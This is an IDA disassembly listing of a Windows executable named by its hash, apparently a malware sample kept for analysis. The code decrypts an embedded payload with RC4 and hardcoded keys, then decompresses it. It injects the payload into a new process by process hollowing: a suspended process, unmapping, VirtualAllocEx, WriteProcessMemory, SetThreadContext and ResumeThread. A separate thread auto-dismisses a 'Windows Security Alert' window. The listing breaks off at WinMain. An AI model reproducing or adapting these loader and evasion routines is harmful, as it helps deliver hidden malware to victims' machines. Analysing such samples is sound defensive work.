;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : F800DAF83EF314CA53C5FB985B50B221
; File Name : u:\work\f800daf83ef314ca53c5fb985b50b221_orig.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 000047CF ( 18383.)
; Section size in file : 00004800 ( 18432.)
; Offset to raw data for section: 00000400
; Flags 60000020: Text Executable Readable
; Alignment : default
; OS type : MS Windows
; Application type: Executable 32bit
include uni.inc ; see unicode subdir of ida for info on unicode
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Execute
_text segment para public 'CODE' use32
assume cs:_text
;org 401000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401000 proc near ; CODE XREF: sub_40188A+CEp
var_10 = byte ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 10h
push esi
mov esi, [ebp+arg_C]
imul esi, 64h
add esi, 26ADh
push esi ; Size
call _malloc
test eax, eax
pop ecx
mov [ebp+var_8], eax
jz short loc_40108F
push ebx
push offset LibFileName ; "ntdll.dll"
call ds:LoadLibraryA ; LoadLibraryA
mov ebx, eax
test ebx, ebx
jz short loc_40108C
push edi
mov edi, ds:GetProcAddress
push offset ProcName ; "RtlDecompressBuffer"
push ebx ; hModule
call edi ; GetProcAddress
push offset aRtlgetcompress ; "RtlGetCompressionWorkSpaceSize"
push ebx ; hModule
mov [ebp+var_4], eax
call edi ; GetProcAddress
cmp [ebp+arg_C], 0
pop edi
jz short loc_40108C
cmp [ebp+var_4], 0
jz short loc_40108C
test eax, eax
jz short loc_40108C
lea ecx, [ebp+var_C]
push ecx
lea ecx, [ebp+var_10]
push ecx
push 2
call eax
push [ebp+arg_10]
mov eax, [ebp+arg_C]
add eax, 64h
push eax
push [ebp+arg_4]
push esi
push [ebp+var_8]
push 2
call [ebp+var_4]
push ebx ; hLibModule
call ds:FreeLibrary ; FreeLibrary
mov eax, [ebp+var_8]
jmp short loc_40108E
; ---------------------------------------------------------------------------
loc_40108C: ; CODE XREF: sub_401000+31j
; sub_401000+52j ...
xor eax, eax
loc_40108E: ; CODE XREF: sub_401000+8Aj
pop ebx
loc_40108F: ; CODE XREF: sub_401000+1Fj
pop esi
leave
retn
sub_401000 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_401092(char *Str, int, int)
sub_401092 proc near ; CODE XREF: sub_40188A+B5p
; sub_40188A+DCp
var_210 = byte ptr -210h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
Str = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 210h
mov eax, [ebp+arg_8]
push esi
lea esi, [eax+eax*4]
push edi
shl esi, 1
push esi ; Size
call _malloc
xor edi, edi
cmp eax, edi
pop ecx
mov [ebp+var_C], eax
jnz short loc_4010BC
xor eax, eax
jmp loc_4011A8
; ---------------------------------------------------------------------------
loc_4010BC: ; CODE XREF: sub_401092+21j
push esi ; Size
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
xor eax, eax
loc_4010C9: ; CODE XREF: sub_401092+44j
mov [ebp+eax+var_210], al
inc eax
cmp eax, 0FFh
jle short loc_4010C9
mov [ebp+var_8], edi
mov [ebp+var_4], edi
mov esi, 100h
push ebx
loc_4010E4: ; CODE XREF: sub_401092+9Ej
mov edi, [ebp+var_4]
push [ebp+Str] ; Str
lea edi, [ebp+edi+var_210]
mov bl, [edi]
call _strlen
xor edx, edx
pop ecx
mov ecx, eax
mov eax, [ebp+var_4]
div ecx
mov eax, [ebp+Str]
movsx ecx, byte ptr [edx+eax]
add ecx, [ebp+var_8]
movzx eax, bl
add eax, ecx
cdq
mov ecx, esi
idiv ecx
inc [ebp+var_4]
cmp [ebp+var_4], 0FFh
lea eax, [ebp+edx+var_210]
mov cl, [eax]
mov [edi], cl
mov [ebp+var_8], edx
mov [eax], bl
jle short loc_4010E4
xor eax, eax
cmp [ebp+arg_8], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
jle short loc_4011A4
mov eax, [ebp+arg_4]
sub eax, [ebp+var_C]
mov [ebp+var_10], eax
loc_401148: ; CODE XREF: sub_401092+110j
mov eax, [ebp+var_4]
cdq
mov ecx, esi
idiv ecx
mov edi, esi
lea ecx, [ebp+edx+var_210]
mov bl, [ecx]
movzx eax, bl
add eax, [ebp+var_8]
cdq
idiv edi
lea eax, [ebp+edx+var_210]
mov [ebp+var_8], edx
mov dl, [eax]
mov [ecx], dl
mov edx, [ebp+var_C]
mov [eax], bl
mov eax, [ebp+var_4]
lea edi, [eax+edx]
movzx eax, byte ptr [ecx]
movzx ecx, bl
add eax, ecx
cdq
mov ecx, esi
idiv ecx
mov ecx, [ebp+var_10]
mov al, [ebp+edx+var_210]
xor al, [ecx+edi]
inc [ebp+var_4]
mov [edi], al
mov eax, [ebp+var_4]
cmp eax, [ebp+arg_8]
jl short loc_401148
loc_4011A4: ; CODE XREF: sub_401092+ABj
mov eax, [ebp+var_C]
pop ebx
loc_4011A8: ; CODE XREF: sub_401092+25j
pop edi
pop esi
leave
retn
sub_401092 endp
; =============== S U B R O U T I N E =======================================
sub_4011AC proc near ; CODE XREF: sub_4011D1+5Bp
; sub_4011D1+AEp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
xor eax, eax
cmp [esp+arg_4], eax
jle short locret_4011D0
mov ecx, [esp+arg_0]
mov edx, dword_4082C4
add ecx, edx
loc_4011C0: ; CODE XREF: sub_4011AC+22j
mov dl, [ecx+eax]
mov byte_408300[eax], dl
inc eax
cmp eax, [esp+arg_4]
jl short loc_4011C0
locret_4011D0: ; CODE XREF: sub_4011AC+6j
retn
sub_4011AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4011D1 proc near ; CODE XREF: WinMain(x,x,x,x)+81p
var_13C = byte ptr -13Ch
Dst = byte ptr -5Ch
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_16 = word ptr -16h
var_8 = word ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 13Ch
mov eax, dword_408040
mov ecx, dword_4082C4
push ebx
push esi
lea esi, [ecx+eax]
mov bl, [esi]
mov byte_4082CC, bl
mov cl, [esi+1]
push edi
mov edi, nNumberOfBytesToRead
mov byte_4082FC, cl
mov cl, [esi+2]
neg byte_4082FC
sub edi, eax
neg bl
neg cl
cmp edi, 40h
mov byte_4082CC, bl
mov byte_4082C0, cl
jb loc_4012C7
add eax, 3
push 40h
push eax
call sub_4011AC
pop ecx
pop ecx
mov byte_408340, 0
xor esi, esi
loc_40123C: ; CODE XREF: sub_4011D1+81j
mov cl, byte_4082FC
lea eax, dword_408301[esi]
add [eax-1], bl
add [eax], cl
inc esi
inc esi
cmp esi, 40h
jb short loc_40123C
push 40h ; Size
mov ebx, offset byte_408300
lea eax, [ebp+Dst]
push ebx ; Src
push eax ; Dst
call _memcpy
mov eax, [ebp+var_20]
lea ecx, [eax+18h]
add esp, 0Ch
cmp edi, ecx
jb short loc_4012C7
mov ecx, dword_408040
lea eax, [ecx+eax+3]
push 18h
push eax
call sub_4011AC
pop ecx
pop ecx
mov byte_408318, 0
xor esi, esi
loc_40128F: ; CODE XREF: sub_4011D1+DAj
mov cl, byte_4082CC
lea eax, dword_408301[esi]
add [eax-1], cl
mov cl, byte_4082FC
add [eax], cl
inc esi
inc esi
cmp esi, 18h
jb short loc_40128F
push 18h ; Size
lea eax, [ebp+var_1C]
push ebx ; Src
push eax ; Dst
call _memcpy
mov esi, 0E0h
add esp, 0Ch
cmp [ebp+var_8], si
jz short loc_4012CE
loc_4012C7: ; CODE XREF: sub_4011D1+4Fj
; sub_4011D1+9Fj
xor al, al
jmp loc_4013B4
; ---------------------------------------------------------------------------
loc_4012CE: ; CODE XREF: sub_4011D1+F4j
mov ecx, dword_408040
mov eax, [ebp+var_20]
lea eax, [ecx+eax+1Bh]
push esi
push eax
call sub_4011AC
pop ecx
pop ecx
mov byte_4083E0, 0
xor edi, edi
loc_4012ED: ; CODE XREF: sub_4011D1+137j
mov cl, byte_4082CC
lea eax, dword_408301[edi]
add [eax-1], cl
mov cl, byte_4082FC
add [eax], cl
inc edi
inc edi
cmp edi, esi
jb short loc_4012ED
push esi ; Size
lea eax, [ebp+var_13C]
push ebx ; Src
push eax ; Dst
call _memcpy
movzx eax, [ebp+var_16]
lea eax, [eax+eax*4]
shl eax, 3
push eax ; dwBytes
call ??2@YAPAXI@Z ; operator new(uint)
movzx esi, [ebp+var_16]
mov ecx, dword_408040
mov [ebp+var_4], eax
mov eax, [ebp+var_20]
lea esi, [esi+esi*4]
shl esi, 3
lea eax, [ecx+eax+0FBh]
push esi
push eax
call sub_4011AC
add esp, 18h
xor edi, edi
test esi, esi
mov byte_408300[esi], 0
jbe short loc_401379
loc_40135C: ; CODE XREF: sub_4011D1+1A6j
mov cl, byte_4082CC
lea eax, dword_408301[edi]
add [eax-1], cl
mov cl, byte_4082FC
add [eax], cl
inc edi
inc edi
cmp edi, esi
jb short loc_40135C
loc_401379: ; CODE XREF: sub_4011D1+189j
push esi ; Size
push ebx ; Src
push [ebp+var_4] ; Dst
call _memcpy
mov edi, [ebp+arg_0]
mov eax, [ebp+arg_10]
add esp, 0Ch
push 10h
pop ecx
push 6
lea esi, [ebp+Dst]
rep movsd
mov edi, [ebp+arg_8]
pop ecx
lea esi, [ebp+var_1C]
rep movsd
mov edi, [ebp+arg_C]
push 38h
pop ecx
lea esi, [ebp+var_13C]
rep movsd
mov ecx, [ebp+var_4]
mov [eax], ecx
mov al, 1
loc_4013B4: ; CODE XREF: sub_4011D1+F8j
pop edi
pop esi
pop ebx
leave
retn
sub_4011D1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4013B9 proc near ; CODE XREF: WinMain(x,x,x,x)+A3p
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_8]
mov ecx, [eax+3Ch]
push esi
mov esi, [eax+20h]
xor edx, edx
mov eax, ecx
div esi
test edx, edx
jz short loc_4013D6
lea ecx, [eax+1]
imul ecx, esi
loc_4013D6: ; CODE XREF: sub_4013B9+15j
mov eax, [ebp+arg_4]
movzx eax, word ptr [eax+6]
test eax, eax
jle short loc_40140F
push ebx
mov ebx, [ebp+arg_C]
push edi
add ebx, 8
mov [ebp+arg_8], eax
loc_4013EC: ; CODE XREF: sub_4013B9+52j
mov edi, [ebx]
test edi, edi
jz short loc_401405
xor edx, edx
mov eax, edi
div esi
test edx, edx
jnz short loc_401400
add ecx, edi
jmp short loc_401405
; ---------------------------------------------------------------------------
loc_401400: ; CODE XREF: sub_4013B9+41j
imul eax, esi
add ecx, eax
loc_401405: ; CODE XREF: sub_4013B9+37j
; sub_4013B9+45j
add ebx, 28h
dec [ebp+arg_8]
jnz short loc_4013EC
pop edi
pop ebx
loc_40140F: ; CODE XREF: sub_4013B9+26j
mov eax, ecx
pop esi
pop ebp
retn
sub_4013B9 endp
; =============== S U B R O U T I N E =======================================
sub_401414 proc near ; CODE XREF: sub_40142E+A9p
; sub_40142E+12Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
xor edx, edx
div [esp+arg_4]
test edx, edx
jnz short loc_401427
mov eax, [esp+arg_0]
retn
; ---------------------------------------------------------------------------
loc_401427: ; CODE XREF: sub_401414+Cj
inc eax
imul eax, [esp+arg_4]
retn
sub_401414 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40142E(int, int, int, size_t Size, int, void *Dst)
sub_40142E proc near ; CODE XREF: WinMain(x,x,x,x)+D3p
arg_4 = dword ptr 0Ch
Size = dword ptr 14h
arg_10 = dword ptr 18h
Dst = dword ptr 1Ch
push ebp
mov ebp, esp
mov eax, dword_4082C4
push ebx
push esi
mov esi, dword_408040
add eax, esi
mov bl, [eax]
mov byte_4082CC, bl
mov cl, [eax+1]
mov byte_4082FC, cl
mov al, [eax+2]
neg byte_4082FC
neg al
mov byte_4082C0, al
mov eax, [ebp+Size]
neg bl
mov byte_4082CC, bl
push edi
mov edi, [eax+3Ch]
mov eax, [ebp+arg_4]
movzx eax, word ptr [eax+6]
test eax, eax
jle short loc_40148F
mov ecx, [ebp+arg_10]
add ecx, 14h
loc_401481: ; CODE XREF: sub_40142E+5Fj
mov edx, [ecx]
cmp edx, edi
jnb short loc_401489
mov edi, edx
loc_401489: ; CODE XREF: sub_40142E+57j
add ecx, 28h
dec eax
jnz short loc_401481
loc_40148F: ; CODE XREF: sub_40142E+4Bj
push edi
add esi, 3
push esi
call sub_4011AC
pop ecx
xor esi, esi
test edi, edi
pop ecx
mov byte_408300[edi], 0
jbe short loc_4014BF
loc_4014A8: ; CODE XREF: sub_40142E+8Fj
mov cl, byte_4082FC
lea eax, dword_408301[esi]
add [eax-1], bl
add [eax], cl
inc esi
inc esi
cmp esi, edi
jb short loc_4014A8
loc_4014BF: ; CODE XREF: sub_40142E+78j
push edi ; Size
push offset byte_408300 ; Src
push [ebp+Dst] ; Dst
call _memcpy
mov ebx, [ebp+Size]
mov ecx, [ebx+20h]
push ecx
push dword ptr [ebx+3Ch]
call sub_401414
mov edi, eax
add edi, [ebp+Dst]
mov eax, [ebp+arg_4]
and [ebp+Dst], 0
add esp, 14h
cmp word ptr [eax+6], 0
jbe loc_40158D
mov esi, [ebp+arg_10]
add esi, 8
loc_4014FC: ; CODE XREF: sub_40142E+159j
mov eax, [esi+8]
test eax, eax
jbe short loc_401565
mov [ebp+Size], eax
mov eax, [esi]
cmp [ebp+Size], eax
jbe short loc_401510
mov [ebp+Size], eax
loc_401510: ; CODE XREF: sub_40142E+DDj
mov eax, [esi+0Ch]
mov ecx, dword_408040
push [ebp+Size]
lea eax, [eax+ecx+3]
push eax
call sub_4011AC
mov eax, [ebp+Size]
pop ecx
pop ecx
xor ecx, ecx
test eax, eax
mov byte_408300[eax], 0
jbe short loc_401549
loc_401538: ; CODE XREF: sub_40142E+119j
mov dl, byte_4082C0
add byte_408300[ecx], dl
inc ecx
cmp ecx, eax
jb short loc_401538
loc_401549: ; CODE XREF: sub_40142E+108j
push eax ; Size
push offset byte_408300 ; Src
push edi ; Dst
call _memcpy
mov ecx, [ebx+20h]
push ecx
push dword ptr [esi]
call sub_401414
add esp, 14h
jmp short loc_401575
; ---------------------------------------------------------------------------
loc_401565: ; CODE XREF: sub_40142E+D3j
mov eax, [esi]
test eax, eax
jz short loc_401577
push ecx
push eax
call sub_401414
add esp, 8
loc_401575: ; CODE XREF: sub_40142E+135j
add edi, eax
loc_401577: ; CODE XREF: sub_40142E+13Bj
mov eax, [ebp+arg_4]
movzx eax, word ptr [eax+6]
inc [ebp+Dst]
add esi, 28h
cmp [ebp+Dst], eax
jl loc_4014FC
loc_40158D: ; CODE XREF: sub_40142E+C2j
pop edi
pop esi
mov al, 1
pop ebx
pop ebp
retn
sub_40142E endp
; =============== S U B R O U T I N E =======================================
sub_401594 proc near ; CODE XREF: sub_4016F7+BDp
arg_8 = dword ptr 0Ch
arg_10 = dword ptr 14h
arg_14 = dword ptr 18h
mov ecx, [esp+arg_8]
mov eax, [ecx+88h]
test eax, eax
jz short locret_401603
cmp dword ptr [ecx+8Ch], 0
jz short locret_401603
mov edx, [esp+arg_10]
push esi
mov esi, [esp+4+arg_14]
sub esi, [ecx+1Ch]
add eax, edx
cmp dword ptr [eax+4], 0
jz short loc_401602
push ebx
push edi
loc_4015C1: ; CODE XREF: sub_401594+6Aj
mov ecx, [eax+4]
sub ecx, 8
shr ecx, 1
test ecx, ecx
lea edi, [eax+8]
jle short loc_4015F8
mov ebx, ecx
loc_4015D2: ; CODE XREF: sub_401594+62j
xor edx, edx
mov dx, [edi]
mov ecx, edx
and ecx, 0FFFh
add ecx, [esp+0Ch+arg_10]
and dx, 0F000h
add ecx, [eax]
cmp dx, 3000h
jnz short loc_4015F3
add [ecx], esi
loc_4015F3: ; CODE XREF: sub_401594+5Bj
inc edi
inc edi
dec ebx
jnz short loc_4015D2
loc_4015F8: ; CODE XREF: sub_401594+3Aj
cmp dword ptr [edi+4], 0
mov eax, edi
jnz short loc_4015C1
pop edi
pop ebx
loc_401602: ; CODE XREF: sub_401594+29j
pop esi
locret_401603: ; CODE XREF: sub_401594+Cj
; sub_401594+15j
retn
sub_401594 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_401604(int, HANDLE hProcess, LPCVOID lpAddress, SIZE_T dwLength)
sub_401604 proc near ; CODE XREF: sub_40161C+A1p
hProcess = dword ptr 8
lpAddress = dword ptr 0Ch
dwLength = dword ptr 10h
push [esp+dwLength] ; dwLength
push offset Buffer ; lpBuffer
push [esp+8+lpAddress] ; lpAddress
push [esp+0Ch+hProcess] ; hProcess
call ds:VirtualQueryEx ; VirtualQueryEx
retn
sub_401604 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40161C(LPSTR lpCommandLine, LPPROCESS_INFORMATION lpProcessInformation, int, LPCONTEXT lpContext, int)
sub_40161C proc near ; CODE XREF: WinMain(x,x,x,x)+F0p
StartupInfo = _STARTUPINFOA ptr -48h
var_4 = byte ptr -4
lpCommandLine = dword ptr 8
lpProcessInformation= dword ptr 0Ch
lpContext = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 48h
push esi
mov esi, [ebp+lpProcessInformation]
push edi
push 10h
pop ecx
xor edx, edx
push esi ; lpProcessInformation
xor eax, eax
mov [ebp+StartupInfo.cb], edx
lea edi, [ebp+StartupInfo.lpReserved]
rep stosd
lea eax, [ebp+StartupInfo]
push eax ; lpStartupInfo
push edx ; lpCurrentDirectory
push edx ; lpEnvironment
push 4 ; dwCreationFlags
push edx ; bInheritHandles
push edx ; lpThreadAttributes
push edx ; lpProcessAttributes
push [ebp+lpCommandLine] ; lpCommandLine
push edx ; lpApplicationName
call ds:CreateProcessA ; CreateProcessA
test eax, eax
jz loc_4016D4
mov edi, [ebp+lpContext]
push ebx
push edi ; lpContext
mov dword ptr [edi], 10007h
push dword ptr [esi+4] ; hThread
call ds:GetThreadContext ; GetThreadContext
mov ebx, [ebp+arg_10]
lea eax, [ebp+var_4]
push eax
mov eax, [edi+0A4h]
push 4
push ebx
add eax, 8
push eax
push dword ptr [esi]
call dword_4362C4 ; ReadProcessMemory
mov edi, [ebx]
jmp short loc_4016B6
; ---------------------------------------------------------------------------
loc_401688: ; CODE XREF: sub_40161C+ABj
cmp Buffer.State, 10000h
jz short loc_4016C9
cmp edi, 0D7E9Bh
jnz short loc_4016B0
push 11h ; uType
push offset Caption ; "hgsfdg76fd78g6fdsuretjwmnbjhfsdghfsgdyf"...
push offset Text ; "i780897olkgjtyy6w54wtgt54w643r32qrhggfd"...
push 0 ; hWnd
call ds:MessageBoxA ; MessageBoxA
loc_4016B0: ; CODE XREF: sub_40161C+7Ej
add edi, Buffer.RegionSize
loc_4016B6: ; CODE XREF: sub_40161C+6Aj
push 1Ch ; dwLength
push edi ; lpAddress
push dword ptr [esi] ; hProcess
push 0 ; int
call sub_401604
add esp, 10h
test eax, eax
jnz short loc_401688
loc_4016C9: ; CODE XREF: sub_40161C+76j
sub edi, [ebx]
xor eax, eax
mov [ebx+4], edi
inc eax
pop ebx
jmp short loc_4016D6
; ---------------------------------------------------------------------------
loc_4016D4: ; CODE XREF: sub_40161C+32j
xor eax, eax
loc_4016D6: ; CODE XREF: sub_40161C+B6j
pop edi
pop esi
leave
retn
sub_40161C endp
; =============== S U B R O U T I N E =======================================
sub_4016DA proc near ; CODE XREF: sub_4016F7+83p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp dword ptr [eax+88h], 0
jz short loc_4016F4
cmp dword ptr [eax+8Ch], 0
jz short loc_4016F4
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_4016F4: ; CODE XREF: sub_4016DA+Bj
; sub_4016DA+14j
xor eax, eax
retn
sub_4016DA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4016F7 proc near ; CODE XREF: WinMain(x,x,x,x)+154p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
flOldProtect = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
hProcess = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_30 = dword ptr 38h
arg_D4 = dword ptr 0DCh
arg_E0 = dword ptr 0E8h
lpAddress = dword ptr 304h
dwSize = dword ptr 308h
push ebp
mov ebp, esp
mov eax, [ebp+lpAddress]
push ebx
mov ebx, [ebp+flOldProtect]
cmp [ebx+1Ch], eax
push esi
mov esi, ds:VirtualAllocEx
push edi
mov edi, 3000h
jnz short loc_401739
mov ecx, [ebp+dwSize]
cmp [ebp+arg_18], ecx
ja short loc_401739
lea edx, [ebp+flOldProtect]
push edx ; lpflOldProtect
push 40h ; flNewProtect
push ecx ; dwSize
push eax ; lpAddress
push [ebp+hProcess] ; hProcess
mov dword_4362C0, eax
call ds:VirtualProtectEx ; VirtualProtectEx
jmp short loc_401770
; ---------------------------------------------------------------------------
loc_401739: ; CODE XREF: sub_4016F7+1Dj
; sub_4016F7+28j
mov ecx, [ebp+hProcess]
push eax
push ecx
mov dword_4082F8, ecx
mov dword_4362A8, eax
call dword_4362C8 ; ZwUnmapViewOfSection
test eax, eax
jnz short loc_401757
mov byte ptr [ebp+flOldProtect+3], 1
loc_401757: ; CODE XREF: sub_4016F7+5Aj
cmp byte ptr [ebp+flOldProtect+3], 1
jnz short loc_401770
push 40h ; flProtect
push edi ; flAllocationType
push [ebp+arg_18] ; dwSize
push dword ptr [ebx+1Ch] ; lpAddress
push [ebp+hProcess] ; hProcess
call esi ; VirtualAllocEx
mov dword_4362C0, eax
loc_401770: ; CODE XREF: sub_4016F7+40j
; sub_4016F7+64j
cmp dword_4362C0, 0
jnz short loc_4017C9
push ebx
call sub_4016DA
add esp, 4
test eax, eax
jz loc_401857
push 40h ; flProtect
push edi ; flAllocationType
push [ebp+arg_18] ; dwSize
push 0 ; lpAddress
push [ebp+hProcess] ; hProcess
call esi ; VirtualAllocEx
test eax, eax
mov dword_4362C0, eax
jz loc_401857
push 0
push eax
push [ebp+arg_14]
push [ebp+arg_10]
push ebx
push [ebp+arg_4]
push [ebp+arg_0]
call sub_401594
add esp, 1Ch
cmp dword_4362C0, 0
jz loc_401857
loc_4017C9: ; CODE XREF: sub_4016F7+80j
mov esi, [ebp+arg_D4]
push offset aWriteprocessme ; "WriteProcessMemory"
push offset ModuleName ; "kernel32.dll"
call ds:GetModuleHandleA ; GetModuleHandleA
push eax ; hModule
call ds:GetProcAddress ; GetProcAddress
push 0
push 4
push offset dword_4362C0
add esi, 8
push esi
mov esi, [ebp+hProcess]
push esi
call eax
mov eax, [ebp+arg_0]
mov eax, [eax+3Ch]
mov ecx, dword_4362C0
mov edx, [ebp+arg_14]
mov [eax+edx+34h], ecx
mov eax, dword_4362C0
cmp eax, [ebp+lpAddress]
mov [ebp+arg_30], 10007h
jnz short loc_40182E
mov eax, [ebx+10h]
add eax, [ebx+1Ch]
mov [ebp+arg_E0], eax
jmp short loc_401839
; ---------------------------------------------------------------------------
loc_40182E: ; CODE XREF: sub_4016F7+127j
mov ecx, [ebx+10h]
add ecx, eax
mov [ebp+arg_E0], ecx
loc_401839: ; CODE XREF: sub_4016F7+135j
mov eax, [ebp+arg_24]
lea ecx, [ebp+arg_30]
push ecx
push eax
mov dword_4362B4, esi
mov hThread, eax
call dword_4362CC ; SetThreadContext
xor eax, eax
inc eax
jmp short loc_401859
; ---------------------------------------------------------------------------
loc_401857: ; CODE XREF: sub_4016F7+8Dj
; sub_4016F7+A7j ...
xor eax, eax
loc_401859: ; CODE XREF: sub_4016F7+15Ej
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4016F7 endp
; =============== S U B R O U T I N E =======================================
sub_40185E proc near ; CODE XREF: WinMain(x,x,x,x)+186p
push hThread ; hThread
mov byte_4362B8, 1
call ds:ResumeThread ; ResumeThread
retn
sub_40185E endp
; =============== S U B R O U T I N E =======================================
sub_401872 proc near ; CODE XREF: sub_40188A+5Bp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub eax, dword_408040
inc eax
push eax ; Size
call _malloc
pop ecx
mov dword_4362AC, eax
retn
sub_401872 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40188A(int, LPCSTR lpFileName)
sub_40188A proc near ; CODE XREF: WinMain(x,x,x,x)+39p
var_8 = dword ptr -8
NumberOfBytesRead= dword ptr -4
lpFileName = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
push ebx ; hTemplateFile
push 80h ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition
push ebx ; lpSecurityAttributes
push 1 ; dwShareMode
push 80000000h ; dwDesiredAccess
push [ebp+lpFileName] ; lpFileName
call ds:CreateFileA ; CreateFileA
push ebx ; lpFileSizeHigh
push eax ; hFile
mov hFile, eax
call ds:GetFileSize ; GetFileSize
mov nNumberOfBytesToRead, eax
inc eax
push eax ; Size
call _malloc
pop ecx
push ebx ; lpOverlapped
lea ecx, [ebp+NumberOfBytesRead]
push ecx ; lpNumberOfBytesRead
push nNumberOfBytesToRead ; nNumberOfBytesToRead
mov dword_4082C4, eax
push eax ; lpBuffer
push hFile ; hFile
call ds:ReadFile ; ReadFile
push [ebp+NumberOfBytesRead]
call sub_401872
mov edx, [ebp+NumberOfBytesRead]
mov eax, dword_408040
pop ecx
xor ecx, ecx
sub edx, eax
jz short loc_40191C
loc_4018F9: ; CODE XREF: sub_40188A+90j
mov edx, dword_4082C4
add eax, edx
mov al, [eax+ecx]
mov edx, dword_4362AC
mov [edx+ecx], al
mov edx, [ebp+NumberOfBytesRead]
mov eax, dword_408040
inc ecx
sub edx, eax
cmp ecx, edx
jb short loc_4018F9
loc_40191C: ; CODE XREF: sub_40188A+6Dj
mov ecx, dword_4362AC
sub ecx, eax
mov eax, [ebp+NumberOfBytesRead]
mov [ecx+eax], bl
mov eax, [ebp+NumberOfBytesRead]
sub eax, dword_408040
push eax ; int
push dword_4362AC ; int
push offset a6jhgfhgfkjhljh ; "6jhgfhgfkjhljhfkjhgftre54"
call sub_401092
lea ecx, [ebp+var_8]
push ecx
mov ecx, [ebp+NumberOfBytesRead]
sub ecx, dword_408040
sub ecx, 64h
push ecx
push ebx
push eax
push ebx
call sub_401000
push [ebp+var_8] ; int
push eax ; int
push offset a68hkmgfjgfhjhg ; "68hkmgfjgfhjhgjgfdsgsfdgfdte"
call sub_401092
add esp, 2Ch
mov dword_408040, ebx
mov dword_4082C4, eax
pop ebx
leave
retn
sub_40188A endp
; =============== S U B R O U T I N E =======================================
; DWORD __stdcall StartAddress(LPVOID)
StartAddress proc near ; DATA XREF: WinMain(x,x,x,x)+24o
push ebx
push ebp
push esi
push edi
mov edi, ds:FindWindowA
mov ebx, offset WindowName ; "Windows Security Alert"
push ebx ; lpWindowName
push 0 ; lpClassName
call edi ; FindWindowA
mov ebp, ds:Sleep
jmp short loc_4019A1
; ---------------------------------------------------------------------------
loc_401998: ; CODE XREF: StartAddress+29j
push 1Eh ; dwMilliseconds
call ebp ; Sleep
push ebx ; lpWindowName
push 0 ; lpClassName
call edi ; FindWindowA
loc_4019A1: ; CODE XREF: StartAddress+1Aj
mov esi, eax
test esi, esi
jz short loc_401998
push 0 ; lParam
push 68h ; wParam
push 111h ; Msg
push esi ; hWnd
call ds:SendMessageA ; SendMessageA
mov edi, ds:IsWindow
jmp short loc_4019C3
; ---------------------------------------------------------------------------
loc_4019BF: ; CODE XREF: StartAddress+4Cj
push 32h ; dwMilliseconds
call ebp ; Sleep
loc_4019C3: ; CODE XREF: StartAddress+41j
push esi ; hWnd
call edi ; IsWindow
test eax, eax
jnz short loc_4019BF
pop edi
pop esi
pop ebp
pop ebx
retn 4
StartAddress endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
_WinMain@16 proc near ; CODE XREF: start+186p
Context = CONTEXT ptr -528h
flOldProtect = dword ptr -25Ch
FileName = byte ptr -17Ch
var_7C = dword ptr -7Ch
ProcessInformation= _PROCESS_INFORMATION ptr -3Ch
var_2C = dword ptr -2Ch
lpAddress = dword ptr -14h
dwSize = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
hInstance = dword ptr 8
hPrevInstance = dword ptr 0Ch
lpCmdLine = dword ptr 10h
